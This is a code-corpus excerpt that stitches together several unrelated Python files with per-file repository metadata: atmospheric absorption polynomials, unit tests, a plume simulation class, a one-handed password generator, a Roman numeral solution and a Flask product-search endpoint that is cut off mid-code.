1.0870153958817879e-09 * T**2 + 6.514794566127551e-12 * T**3 - 6.80216264982505e-07 * qvap + 9.429211937322756e-07 * qvap**2 + 5.796993432469241e-08 * qvap**3 - 7.1443924961341095e-06 * T * qvap + 8.093334491948278e-06 * p * qvap - 2.0802138388630576e-09 * p * T ) @staticmethod def cloud_absorption(T): return (- 0.0049712971459054565 - 0.2862592677452133 * T + 0.0033631987524696937 * T**2 - 1.3677033435636206e-05 * T**3 + 2.1802811373270598e-08 * T**4 - 9.81618758579604e-12 * T**5 ) class FAP53860MHz(FastAbsorptionPredictor): @staticmethod def gas_absorption(p, T, qvap): return (+ 4.202074752062704e-06 + 9.439028783972843e-07 * p + 6.089185723394245e-10 * p**2 - 1.5303981547929087e-13 * p**3 - 6.730845327365256e-07 * T + 1.2686964389124513e-09 * T**2 + 6.27973639822625e-12 * T**3 - 8.250035570314996e-07 * qvap + 1.0075550205149139e-06 * qvap**2 + 6.170478200170624e-08 * qvap**3 - 7.466219400040367e-06 * T * qvap + 8.111445410943331e-06 * p * qvap - 3.54581935763542e-09 * p * T ) @staticmethod def cloud_absorption(T): return (- 0.004960179182036576 - 0.27844014735473227 * T + 0.003217558700438698 * T**2 - 1.272618557306027e-05 * T**3 + 1.918009335757697e-08 * T**4 - 7.203579198451723e-12 * T**5 ) class FAP54940MHz(FastAbsorptionPredictor): @staticmethod def gas_absorption(p, T, qvap): return (- 3.6995342500488117e-07 + 2.1996827958132874e-06 * p + 6.614313507868757e-10 * p**2 - 1.964682155812772e-13 * p**3 - 1.2119269886832168e-06 * T + 2.6754019457393795e-09 * T**2 + 8.15491732204659e-12 * T**3 - 1.0474728863260353e-06 * qvap + 1.0859092700976936e-06 * qvap**2 + 6.600961438825556e-08 * qvap**3 - 9.25411604061776e-06 * T * qvap + 8.353826544449269e-06 * p * qvap - 6.325381377053022e-09 * p * T ) @staticmethod def cloud_absorption(T): return (- 0.004993400079395735 - 0.27509903524383134 * T + 0.0031484548855612387 * T**2 - 1.2249604062612353e-05 * T**3 + 1.7825365451844375e-08 * T**4 - 5.831751970607127e-12 * T**5 ) class FAP56660MHz(FastAbsorptionPredictor): @staticmethod def gas_absorption(p, T, qvap): return (+ 1.4256096568956726e-05 + 8.23596543521551e-06 * p - 1.3261919014904344e-09 * p**2 + 5.654457854051921e-13 * p**3 + 8.325096115321122e-06 * T - 7.676325637435976e-08 * T**2 + 1.6193522715860403e-10 * T**3 + 1.4020004572827226e-06 * qvap + 1.0370026711764315e-06 * qvap**2 + 6.715177115981372e-08 * qvap**3 - 2.459725948185999e-05 * T * qvap + 1.2888644006092782e-05 * p * qvap - 1.841726906398399e-08 * p * T ) @staticmethod def cloud_absorption(T): return (- 0.005110401945992647 - 0.27301916582030356 * T + 0.0030876227696128764 * T**2 - 1.1770668666433546e-05 * T**3 + 1.6374874935308358e-08 * T**4 - 4.3146926759053e-12 * T**5 ) class FAP57300MHz(FastAbsorptionPredictor): @staticmethod def gas_absorption(p, T, qvap): return (+ 4.60370871664843e-05 + 1.1645143529966573e-05 * p - 2.033924837517363e-09 * p**2 + 7.615275954316445e-13 * p**3 + 1.578132866817913e-05 * T - 1.4319197263472123e-07 * T**2 + 2.964006569396361e-10 * T**3 + 5.0732169907595895e-06 * qvap + 7.648710401122711e-07 * qvap**2 + 5.6664782606335904e-08 * qvap**3 - 3.757081988210002e-05 * T * qvap + 1.744348416711872e-05 * p * qvap - 2.6724573793027882e-08 * p * T ) @staticmethod def cloud_absorption(T): return (- 0.005172689007835655 - 0.27322704608742354 * T + 0.0030798914889210174 * T**2 - 1.1677222947313684e-05 * T**3 + 1.6049038095056184e-08 * T**4 - 3.9520717122691535e-12 * T**5 ) class FAP58000MHz(FastAbsorptionPredictor): @staticmethod def gas_absorption(p, T, qvap): return (+ 0.00011250135318106839 + 1.5107739000790891e-05 * p - 4.0981521322563425e-09 * p**2 + 1.7361478045530535e-12 * p**3 + 2.8311021671096308e-05 * T - 2.4373228316252794e-07 * T**2 + 4.84600545158575e-10 * T**3 + 9.549436020845881e-06 * qvap + 4.107481327459583e-07 * qvap**2 + 4.3670328284758896e-08 * qvap**3 - 4.688516556296422e-05 * T * qvap + 2.0379531736846797e-05 * p * qvap - 3.3197381058089786e-08 * p * T ) @staticmethod def cloud_absorption(T): return (- 0.005252116535104941 - 0.27403773968381906 * T + 0.0030802889588866724 * T**2 - 1.1625359174368776e-05 * T**3 + 1.5819650513295762e-08 * T**4 - 3.675279772351247e-12 * T**5 ) freqs = [22.24, 23.04, 23.84, 25.44, 26.24, 27.84, 31.40, 51.26, 52.28, 53.86, 54.94, 56.66, 57.30, 58.00] bgs = [2.89045, 2.8967, 2.90344, 2.91855, 2.92702, 2.94612, 3.00189, 6.59609, 8.96759, 28.5606, 79.60215, 193.04149, 201.93125, 211.08535] faps = [FAP22240MHz, FAP23040MHz, FAP23840MHz, FAP25440MHz, FAP26240MHz, FAP27840MHz, FAP31400MHz, FAP51260MHz, FAP52280MHz, FAP53860MHz, FAP54940MHz, FAP56660MHz, FAP57300MHz, FAP58000MHz] tbs = ["TB_22240MHz", "TB_23040MHz", "TB_23840MHz", "TB_25440MHz", "TB_26240MHz", "TB_27840MHz", "TB_31400MHz", "TB_51260MHz", "TB_52280MHz", "TB_53860MHz", "TB_54940MHz", "TB_56660MHz", "TB_57300MHz", "TB_58000MHz"]
38.204167
216
0.49711
1,813
18,338
5.004964
0.234418
0.01058
0.013886
0.063258
0.18272
0.163544
0.163544
0.163544
0.163544
0.142715
0
0.570067
0.393336
18,338
479
217
38.283925
0.245573
0
0
0.133971
0
0
0.008398
0
0
0
0
0
0
1
0.066986
false
0
0.002392
0.066986
0.169856
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
6166139c3d677dcddc5bc754cdebbe9981c33c36
268
py
Python
MysteryGang/gui/__init__.py
thetiguy/GGJTeamSpaceBubbles2021
2628dfe0b60e66f4ebc8cf963840f8aaecfbed0d
[ "MIT" ]
null
null
null
MysteryGang/gui/__init__.py
thetiguy/GGJTeamSpaceBubbles2021
2628dfe0b60e66f4ebc8cf963840f8aaecfbed0d
[ "MIT" ]
6
2021-01-31T22:02:15.000Z
2021-01-31T22:04:44.000Z
MysteryGang/gui/__init__.py
thetiguy/GGJTeamSpaceBubbles2021
2628dfe0b60e66f4ebc8cf963840f8aaecfbed0d
[ "MIT" ]
null
null
null
from .Pane import Pane # Since the other classes use Pane is must be first from .CluePane import CluePane from .MediaPane import MediaPane from .ChatPane import ChatPane from .AppPane import AppPane __all__ = ['CluePane', 'MediaPane', 'Pane', 'ChatPane', 'AppPane']
33.5
75
0.764925
36
268
5.583333
0.472222
0
0
0
0
0
0
0
0
0
0
0
0.149254
268
7
76
38.285714
0.881579
0.182836
0
0
0
0
0.165899
0
0
0
0
0
0
1
0
false
0
0.833333
0
0.833333
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
2
617a5d9542ce20534e04588ed751595567602256
765
py
Python
test/test_group_model.py
zuarbase/server-client-python
1e5e02a550727d72fa90c3d8e4caa4c5f416dc74
[ "CC0-1.0", "MIT" ]
470
2016-09-14T23:38:48.000Z
2022-03-31T07:59:53.000Z
test/test_group_model.py
jorwoods/server-client-python
fefd6f18d8a6617829c6323879d2c3ed77a4cda6
[ "CC0-1.0", "MIT" ]
772
2016-09-09T18:15:44.000Z
2022-03-31T22:01:08.000Z
test/test_group_model.py
jorwoods/server-client-python
fefd6f18d8a6617829c6323879d2c3ed77a4cda6
[ "CC0-1.0", "MIT" ]
346
2016-09-10T00:05:00.000Z
2022-03-30T18:55:47.000Z
import unittest import tableauserverclient as TSC class GroupModelTests(unittest.TestCase): def test_invalid_name(self): self.assertRaises(ValueError, TSC.GroupItem, None) self.assertRaises(ValueError, TSC.GroupItem, "") group = TSC.GroupItem("grp") with self.assertRaises(ValueError): group.name = None with self.assertRaises(ValueError): group.name = "" def test_invalid_minimum_site_role(self): group = TSC.GroupItem("grp") with self.assertRaises(ValueError): group.minimum_site_role = "Captain" def test_invalid_license_mode(self): group = TSC.GroupItem("grp") with self.assertRaises(ValueError): group.license_mode = "off"
30.6
58
0.658824
81
765
6.074074
0.333333
0.195122
0.317073
0.243902
0.593496
0.439024
0.351626
0.351626
0.351626
0.239837
0
0
0.243137
765
24
59
31.875
0.849741
0
0
0.368421
0
0
0.024837
0
0
0
0
0
0.315789
1
0.157895
false
0
0.105263
0
0.315789
0
0
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
6188392411aa259b7a8c7b46097096f998b1d979
747
py
Python
docs/assets/examples/kernel_base.py
ANSSI-FR/Faults_analyzer
08ed35f2f9f906a06798d21138decfc30772ce45
[ "X11" ]
6
2021-04-08T07:14:26.000Z
2021-07-13T00:59:06.000Z
docs/assets/examples/kernel_base.py
ANSSI-FR/Faults_analyzer
08ed35f2f9f906a06798d21138decfc30772ce45
[ "X11" ]
null
null
null
docs/assets/examples/kernel_base.py
ANSSI-FR/Faults_analyzer
08ed35f2f9f906a06798d21138decfc30772ce45
[ "X11" ]
2
2021-04-20T21:29:32.000Z
2022-03-08T19:55:20.000Z
import time # For example purpose only (NOT MANDATORY) from labmanager.manager import KernelBase class Kernel(KernelBase): def __init__(self): KernelBase.__init__(self) self.i = 0 # For example purpose only (NOT MANDATORY) def open(self) -> None: pass def work(self, exp) -> dict: self.logger.info(exp) # Print the experiment parameters exp["plan_done"] = True # Set the "plan_done" to "True" to avoid # infinite loop exp["i"] = self.i # Add a parameter in the experiment self.i += 1 self.logger.info(exp) # Print the experiment parameters time.sleep(1) return exp def close(self) -> None: pass
28.730769
72
0.5917
94
747
4.595745
0.5
0.034722
0.078704
0.097222
0.361111
0.361111
0.208333
0.208333
0
0
0
0.005882
0.317269
747
25
73
29.88
0.841176
0.310576
0
0.222222
0
0
0.019763
0
0
0
0
0
0
1
0.222222
false
0.111111
0.111111
0
0.444444
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
1
0
0
0
0
0
2
61a06797c47e4f6e2c1da56db791b7f6251e5035
1,498
py
Python
tuprolog/solve/plp/__init__.py
DavideEva/2ppy
55609415102f8116165a42c8e33e029c4906e160
[ "Apache-2.0" ]
1
2021-08-07T06:29:28.000Z
2021-08-07T06:29:28.000Z
tuprolog/solve/plp/__init__.py
DavideEva/2ppy
55609415102f8116165a42c8e33e029c4906e160
[ "Apache-2.0" ]
14
2021-09-16T13:25:12.000Z
2022-01-03T10:12:22.000Z
tuprolog/solve/plp/__init__.py
DavideEva/2ppy
55609415102f8116165a42c8e33e029c4906e160
[ "Apache-2.0" ]
1
2021-12-22T00:25:32.000Z
2021-12-22T00:25:32.000Z
from tuprolog import logger # noinspection PyUnresolvedReferences import jpype.imports # noinspection PyUnresolvedReferences import it.unibo.tuprolog.solve as _solve from tuprolog.utils import Taggable from tuprolog.solve import SolveOptions, solve_options as _solve_options, MAX_TIMEOUT, ALL_SOLUTIONS from typing import TypeVar, Mapping, Any ProbExtensions = _solve.ProbExtensions def probability(taggable: Taggable) -> float: return ProbExtensions.getProbability(taggable) T = TypeVar("T", bound=Taggable, covariant=True) def set_probability(taggable: T) -> T: return ProbExtensions.setProbability(taggable) def is_probabilistic(solve_opts: SolveOptions) -> bool: return ProbExtensions.isProbabilistic(solve_opts) def set_probabilistic(solve_opts: SolveOptions, value: bool) -> SolveOptions: return ProbExtensions.setProbabilistic(solve_opts, value) def probabilistic(solve_opts: SolveOptions) -> SolveOptions: return ProbExtensions.probabilistic(solve_opts) def solve_options( lazy: bool = True, timeout: int = MAX_TIMEOUT, limit: int = ALL_SOLUTIONS, probabilistic: bool = False, custom: Mapping[str, Any] = dict(), **kwargs: Any ) -> SolveOptions: non_probabilistic = _solve_options(lazy, timeout, limit, custom, **kwargs) if probabilistic: return set_probabilistic(non_probabilistic, True) return non_probabilistic logger.debug("Loaded JVM classes from it.unibo.tuprolog.solve.plp.*")
28.807692
100
0.761015
166
1,498
6.716867
0.349398
0.04843
0.078924
0.09148
0
0
0
0
0
0
0
0
0.156208
1,498
51
101
29.372549
0.88212
0.047397
0
0
0
0
0.037921
0.020365
0
0
0
0
0
1
0.193548
false
0
0.193548
0.16129
0.612903
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
1
1
0
0
2
61b8a634a4fe431dfd65a39734e26469887e3016
2,095
py
Python
tests/test_models.py
machariamarigi/shopping_list_api
79effc34145b25413f84ce02704281ccadf214ca
[ "MIT" ]
2
2018-08-18T12:53:49.000Z
2020-06-19T23:31:11.000Z
tests/test_models.py
machariamarigi/shopping_list_api
79effc34145b25413f84ce02704281ccadf214ca
[ "MIT" ]
21
2017-09-04T19:49:18.000Z
2017-12-19T09:07:39.000Z
tests/test_models.py
machariamarigi/shopping_list_api
79effc34145b25413f84ce02704281ccadf214ca
[ "MIT" ]
2
2017-09-15T18:43:02.000Z
2017-10-09T10:48:36.000Z
"""Module for testing modles for the API""" from tests.basetest import TestBase from api_v1.models import User, Shoppinglist, Shoppingitem class UserTestCase(TestBase): """Class to to test the user model""" def test_create_models_instance(self): """Test number of users in the users table""" self.user.save() query_user = User.query.filter_by(email="marigi@gm.cm").first() self.assertTrue(query_user == self.user) def test_password_verification(self): """Test password hash verification""" self.assertEqual(self.user.password, self.user.password_hash) def test_delete_models(self): """Test deleting from the database""" self.user.save() query_user = User.query.filter_by(email="marigi@gm.cm").first() self.user.delete() query_user = User.query.filter_by(email="marigi@gm.cm").first() self.assertIsNone(query_user) def test_serialize_models(self): """Test dictionary serialization of model objects""" serialized_user = self.user.serialize() self.assertTrue(serialized_user['username'] == "marigi") def test_user_repr(self): """Test string representation of the use model""" userrepr = repr(self.user) self.assertEqual(userrepr, "<User: marigi>") class ShoppinglistTestCase(TestBase): """Class to test the shoppinglist model""" def test_shoppinglist_model(self): """Test number of shoppinglists in the shoppinglists table""" shoppinglist = Shoppinglist(name="Groceries", created_by=None) sholi_repr = repr(shoppinglist) shoppinglist.save() self.assertEqual(Shoppinglist.query.count(), 1) class ShoppingitemTestCase(TestBase): """Class to test the shopping item model""" def test_shopping_item_model(self): """Test number of shopping items in the shoppingitems table""" item = Shoppingitem(name="Eggplant", quantity=5, shoppinglist=None) item_repr = repr(item) item.save() self.assertEqual(Shoppingitem.query.count(), 1)
36.12069
75
0.677804
253
2,095
5.490119
0.300395
0.046076
0.032397
0.034557
0.187185
0.12527
0.12527
0.12527
0.12527
0.12527
0
0.002405
0.206205
2,095
57
76
36.754386
0.832832
0.215752
0
0.151515
0
0
0.05104
0
0
0
0
0
0.212121
1
0.212121
false
0.060606
0.060606
0
0.363636
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
1
0
0
0
0
0
2
61c01362eb68a6e3d2f70181f2e07f000e6761e1
129
py
Python
test_002.py
YukiShinonome/NLP
2ac59b0adc777882f8183cdca360bc277046d42c
[ "MIT" ]
4
2018-08-07T02:31:27.000Z
2020-07-18T15:43:28.000Z
test_002.py
yukishinonome/NLP
2ac59b0adc777882f8183cdca360bc277046d42c
[ "MIT" ]
null
null
null
test_002.py
yukishinonome/NLP
2ac59b0adc777882f8183cdca360bc277046d42c
[ "MIT" ]
null
null
null
s = input() sort_s = sorted(s) print(sort_s) # str型の文字列を直接sorted()に入れると # str型の文字列を1文字ずつに分割したlist型として認識して # それをソートしたlist型を取得できる。
18.428571
33
0.790698
13
129
7.692308
0.692308
0.1
0
0
0
0
0
0
0
0
0
0.008621
0.100775
129
7
34
18.428571
0.853448
0.596899
0
0
0
0
0
0
0
0
0
0
0
1
0
false
0
0
0
0
0.333333
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
4efce3f000fdb0c2afb0c54405557c4a0df0a72a
2,160
py
Python
language/onehand.py
edunham/toys
4f3df49c66b1931cd9f5e3584e90f4c2a09d88e7
[ "MIT" ]
8
2015-09-28T09:09:12.000Z
2020-10-12T07:00:54.000Z
language/onehand.py
edunham/toys
4f3df49c66b1931cd9f5e3584e90f4c2a09d88e7
[ "MIT" ]
1
2021-06-09T06:06:40.000Z
2021-06-09T06:06:40.000Z
language/onehand.py
edunham/toys
4f3df49c66b1931cd9f5e3584e90f4c2a09d88e7
[ "MIT" ]
2
2016-09-27T06:25:47.000Z
2017-01-19T04:56:10.000Z
#! /usr/bin/python # I assume https://github.com/vinces1979/pwgen/ knows what he's doing, so I'll # get entropy the same way import random import string import pickle choice = random.choice righthand = ['7', '8', '9', '0', '-', '=', '&', '*', '(', ')', '_', '+', 'y', 'u', 'i', 'o', 'p', '[', ']', '\\', 'Y', 'U', 'I', 'O', 'P', '{', '}', '|', 'g', 'h', 'j', 'k', 'l', ';', "'", 'G', 'H', 'J', 'K', 'L', ':', '"', 'b', 'n', 'm', ',', '.', '/', 'B', 'N', 'M', '<', '>', '?', ' '] lefthand = ['`', '1', '2', '3', '4', '5', '6', '7', '~', '!', '@', '#', '$', '%', '^', '&', 'q', 'w', 'e', 'r', 't', 'y', 'Q', 'W', 'E', 'R', 'T', 'Y', 'a', 's', 'd', 'f', 'g', 'h', 'A', 'S', 'D', 'F', 'G', 'H', 'z', 'x', 'c', 'v', 'b', 'n', 'Z', 'X', 'C', 'V', 'B', 'N', ' '] def typeable(word, hand): for c in word: if c not in hand: return False return True def handedwords(hand, words): handed = [] for w in words: w = w.strip(' \t\n\r') if typeable(w, hand): handed.append(w) return handed def notletters(maybeletters): return [m for m in maybeletters if not m in string.ascii_letters] def dump_hands(): wordfile = '/home/miea/repos/toys/wordfile' rh = handedwords(righthand, open(wordfile)) lh = handedwords(lefthand, open(wordfile)) pickle.dump( rh, open( "right.hand", "wb" ) ) pickle.dump( lh, open( "left.hand", "wb" ) ) def nuke_a_letter(w): return w #TODO fix all this if len(w) < 3: return w n = 2 #TODO randomly pick which letter to omit if choice([True, False]): return + w[:-n]+w[-(n+1):] else: return w[:-n]+w[-(n-1):] def correcthorse(c): nl = notletters(righthand) rh = pickle.load( open( "right.hand", "rb" ) ) pas = '' for i in range(c): w = choice(rh) if choice([True, False]): w = nuke_a_letter(w) else: if choice([True, False]): pas = pas + w else: for q in range(choice(range(i))): pas = pas + choice(nl) return pas #dump_hands() for i in range(20): print correcthorse(i)
28.8
78
0.4625
303
2,160
3.270627
0.386139
0.010091
0.024218
0.051463
0.078708
0.058527
0
0
0
0
0
0.013384
0.273611
2,160
74
79
29.189189
0.618228
0.086574
0
0.137931
0
0
0.092018
0.015252
0.017241
0
0
0.013514
0
0
null
null
0
0.051724
null
null
0.017241
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
1
0
1
0
0
0
0
0
0
0
0
2
f604f7c31fa8e5558d4bc2dae995e78b3bafe07b
895
py
Python
Dataset/Leetcode/train/12/124.py
kkcookies99/UAST
fff81885aa07901786141a71e5600a08d7cb4868
[ "MIT" ]
null
null
null
Dataset/Leetcode/train/12/124.py
kkcookies99/UAST
fff81885aa07901786141a71e5600a08d7cb4868
[ "MIT" ]
null
null
null
Dataset/Leetcode/train/12/124.py
kkcookies99/UAST
fff81885aa07901786141a71e5600a08d7cb4868
[ "MIT" ]
null
null
null
class Solution: def XXX(self, num: int) -> str: data = {1: 'I', 5: 'V', 10: 'X', 50: 'L', 100: 'C', 500: 'D', 1000: 'M'} ans = "" i = 0 while num: cur = (num % 10) * (10 ** i) num = num // 10 while cur >= 1: if cur in data: ans = data[cur] + ans cur -= cur else: if cur + 10**i == 5 * 10 ** i: ans = data[10 ** i] + data[5 * 10 ** i] + ans cur -= 4 * 10 ** i elif cur + 10**i == 10 ** (i + 1): ans = data[10 ** i] + data[10 * 10 ** i] + ans cur -= 9 * 10 ** i else: ans = data[10 ** i] + ans cur -= 10 ** i i += 1 return ans
34.423077
80
0.280447
103
895
2.436893
0.330097
0.155378
0.095618
0.119522
0.111554
0
0
0
0
0
0
0.145833
0.57095
895
25
81
35.8
0.507813
0
0
0.083333
0
0
0.00783
0
0
0
0
0
0
0
null
null
0
0
null
null
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
2
f606430c960e9db0ccde13adac58dce774494edc
491
py
Python
src/models/article.py
onl1ner/python-simple-flask
a0bdae0462e26ad73005ff4704f20d3fe370175a
[ "MIT" ]
1
2021-11-09T17:38:02.000Z
2021-11-09T17:38:02.000Z
src/models/article.py
onl1ner/python-simple-flask
a0bdae0462e26ad73005ff4704f20d3fe370175a
[ "MIT" ]
null
null
null
src/models/article.py
onl1ner/python-simple-flask
a0bdae0462e26ad73005ff4704f20d3fe370175a
[ "MIT" ]
null
null
null
from utils.database import db class Article(db.Model): __tablename__ = 'articles' id = db.Column(db.Integer, primary_key=True) author_id = db.Column(db.Integer, db.ForeignKey('users.id')) created_at = db.Column(db.BigInteger) text = db.Column(db.String()) def serialize(self): return { 'id': self.id, 'author_id': self.author_id, 'created_at': self.created_at, 'text': self.text } pass
23.380952
64
0.582485
61
491
4.508197
0.47541
0.116364
0.145455
0.087273
0.138182
0
0
0
0
0
0
0
0.289206
491
21
65
23.380952
0.787966
0
0
0
0
0
0.083333
0
0
0
0
0
0
1
0.066667
false
0.066667
0.066667
0.066667
0.6
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
1
0
0
2
f607ada4b8100e18a0edac01eef269d4ec98a8a7
3,482
py
Python
code/dynamic.py
BruntonUWBio/plumetracknets
0738bbb509d1e53c200b72fdcd33b54fe5169608
[ "MIT" ]
7
2021-09-30T17:06:21.000Z
2022-01-08T21:58:06.000Z
code/dynamic.py
BruntonUWBio/plumetracknets
0738bbb509d1e53c200b72fdcd33b54fe5169608
[ "MIT" ]
null
null
null
code/dynamic.py
BruntonUWBio/plumetracknets
0738bbb509d1e53c200b72fdcd33b54fe5169608
[ "MIT" ]
null
null
null
class DynamicPlume(): def __init__(self, sim_dt=0.01, birth_rate=1.0, env_dt=0.04, birthx=1.0, # per-episode puff birth rate sparsity minimum birthx_max=1.0, # overall odor puff birth rate sparsity max qvar=1.0, # Variance of init. location; higher = more off-plume initializations diff_max=0.8, # teacher curriculum diff_min=0.4, # teacher curriculum verbose=0): super(DynamicPlume, self).__init__() # Init self.puffs_all = pd.read_csv('constantx5b5_snapshot.csv') # self.puffs_all = self.puffs_all[['puff_number', 'time', 'tidx', 'x', 'y', 'radius']] self.tidx = self.puffs_all['tidx'].unique().item() if birthx_max < 0.99: self.puffs_all = self.sparsify(puff_df, birthx_max) self.birthx = birthx self.steps_per_env_dt = 4 # env_dt/sim_dt hardcoded self.birth_rate = birth_rate self.wind_y_var = 0.5 self.diff_min = diff_min self.diff_max = diff_max self.qvar = qvar def sparsify(self, puff_df, birthx=1.0): puff_sparsity = np.clip(np.random.uniform(low=birthx, high=1.0), 0.0, 1.0) keep_idxs = puff_df['puff_number'].sample(frac=puff_sparsity) return puff_df.query("puff_number in @keep_idxs") def reset(): self.wind = [0.5, 0.0] self.puffs = self.puffs_all.copy(deep=True) # Dynamic birthx for each episode self.birthx_ep = np.random.uniform(low=self.birthx, high=1.0) self.birthx_ep < 0.99: self.puffs = self.sparsify(self.puffs, self.birthx_ep) def step(): # update puffs # wind_t = pd.Series({'wind_x': self.wind[0], 'wind_y': self.wind[1]}) for i in range(self.steps_per_env_dt): self.tidx += 1 self.puffs = sim_utils.manual_integrator( self.puffs[['puff_number', 'time', 'tidx', 'x', 'y', 'radius']], pd.Series({'wind_x': self.wind[0], 'wind_y': self.wind[1], 'time':tidx/100}), self.tidx, birth_rate=self.birth_rate*self.birthx_ep, wind_y_var=self.wind_y_var) # update wind - none for now def get_abunchofpuffs(self, max_samples=300): Z = self.puffs.query(f"tidx == {self.tidx}").loc[:,['x','y']] Z = Z.sample(n=max_samples, replace=False) if Z.shape[0] > max_samples else Z return Z def get_stray_distance(self, agent_location): Z = self.get_abunchofpuffs() Y = cdist(Z.to_numpy(), np.expand_dims(agent_location,axis=0), metric='euclidean') try: minY = min(Y) except Exception as ex: print(f"Exception: {ex}, t:{self.t_val:.2f}, tidx:{self.tidx}, {Z}") minY = np.array([0]) return minY[0] # return float not float-array def get_current_wind_xy(self): return self.wind def get_initial_location(self, loc_algo): # assume quantile loc_algo q_curriculum = np.random.uniform(self.diff_min, self.diff_max) Z = self.get_abunchofpuffs() X_pcts = Z['x'].quantile([q_curriculum-0.1, q_curriculum]).to_numpy() X_mean, X_var = X_pcts[1], X_pcts[1] - X_pcts[0] # print("initial X mean, var, q: ", X_mean, X_var, q_curriculum) Y_pcts = Z.query("(x >= (@X_mean - @X_var)) and (x <= (@X_mean + @X_var))")['y'].quantile([0.05,0.5]).to_numpy() Y_pcts Y_mean, Y_var = Y_pcts[1], min(1, Y_pcts[1] - Y_pcts[0]) # TODO: What was min for? # print(Y_mean, Y_var) varx = self.qvar loc_xy = np.array([X_mean + varx*X_var*np.random.randn(), Y_mean + varx*Y_var*np.random.randn()]) return loc_xy
37.847826
116
0.639288
566
3,482
3.713781
0.261484
0.05138
0.034253
0.017127
0.109895
0.058991
0.058991
0.034253
0.034253
0.034253
0
0.026802
0.207065
3,482
91
117
38.263736
0.734516
0.175187
0
0.028986
0
0.014493
0.088679
0.008763
0
0
0
0.010989
0
0
null
null
0
0
null
null
0.014493
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
1
0
1
0
0
0
0
0
0
0
0
2
f60f6ea006277260f9921ae54eb5c8cda52e1b29
533
py
Python
__computeSumMultipliedByIndex.py
simdevex/01.Basics
cf4f372384e66f4b26e4887d2f5d815a1f8e929c
[ "MIT" ]
null
null
null
__computeSumMultipliedByIndex.py
simdevex/01.Basics
cf4f372384e66f4b26e4887d2f5d815a1f8e929c
[ "MIT" ]
null
null
null
__computeSumMultipliedByIndex.py
simdevex/01.Basics
cf4f372384e66f4b26e4887d2f5d815a1f8e929c
[ "MIT" ]
null
null
null
''' Write a Python program to compute the sum of all items of a given array of integers where each integer is multiplied by its index. Return 0 if there is no number. Sample Input: [1,2,3,4] [-1,-2,-3,-4] [] Sample Output: 20 -20 0 ''' def sum_index_multiplier(nums): # use enumerate to return count and value #single line of return statement with for return sum(j*i for i, j in enumerate(nums)) print(sum_index_multiplier([1,2,3,4])) print(sum_index_multiplier([-1,-2,-3,-4])) print(sum_index_multiplier([]))
23.173913
63
0.699812
96
533
3.802083
0.552083
0.021918
0.032877
0.043836
0.210959
0.210959
0.210959
0.210959
0.210959
0.210959
0
0.050114
0.17636
533
22
64
24.227273
0.781321
0.577861
0
0
0
0
0
0
0
0
0
0
0
1
0.2
false
0
0
0.2
0.4
0.6
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
1
0
1
0
2
f616c6c59e93a198e5b31d718976b07ee6aeb746
7,463
py
Python
controllers/product/search_products.py
ValentineSean/product-catalog-api
7bd50555eba390a25920983daf01ee05a89cbf5f
[ "Apache-2.0" ]
null
null
null
controllers/product/search_products.py
ValentineSean/product-catalog-api
7bd50555eba390a25920983daf01ee05a89cbf5f
[ "Apache-2.0" ]
null
null
null
controllers/product/search_products.py
ValentineSean/product-catalog-api
7bd50555eba390a25920983daf01ee05a89cbf5f
[ "Apache-2.0" ]
null
null
null
import json from datetime import datetime from bson.json_util import dumps from bson.objectid import ObjectId from flask import Blueprint, request, jsonify # Database from configurations.database import mongo search_products_blueprint = Blueprint("search_products_blueprint", __name__) @search_products_blueprint.route("/search-products", methods=["POST"]) def search_product(): search_criteria = request.args.get("search_criteria") search_product = request.json search_string = search_product["search_string"] print(search_string) if search_criteria == "product": products = mongo.db.product.aggregate([ { "$search": { "index": "product_index", "text": { "query": search_string, "path": "product_name", "fuzzy": {} } } }, {"$match": {"record_status": "ACTIVE"}}, {"$lookup": { "from": "category", "localField": "category", "foreignField": "_id", "as": "category" }}, {"$unwind": "$category"}, {"$lookup": { "from": "user", "localField": "supplier", "foreignField": "_id", "as": "supplier" }}, {"$unwind": "$supplier"} ]) # searchd_product = mongo.db.product.find_one({"_id": ObjectId(product_id)}) if products: products = json.loads(dumps(products)) print(products) if len(products) > 0: return jsonify({ "status": "200", "message": "products_searched_ok", "data": products }) else: return jsonify({ "status": "404", "message": "products_not_found", "data": [] }) else: return jsonify({ "status": "404", "message": "products_not_found", "data": [] }) elif search_criteria == "category": categories = mongo.db.category.aggregate([ { "$search": { "index": "category_index", "text": { "query": search_string, "path": "category_name", "fuzzy": {} } } }, {"$match": {"record_status": "ACTIVE"}}, ]) if categories: categories = json.loads(dumps(categories)) if len(categories) > 0: category = categories[0] category = category["_id"]["$oid"] products = mongo.db.product.aggregate([ {"$match": {"$and": [{"category": ObjectId(category)}, {"record_status": "ACTIVE"}]}}, {"$lookup": { "from": "category", "localField": "category", "foreignField": "_id", "as": "category" }}, {"$unwind": "$category"}, {"$lookup": { "from": 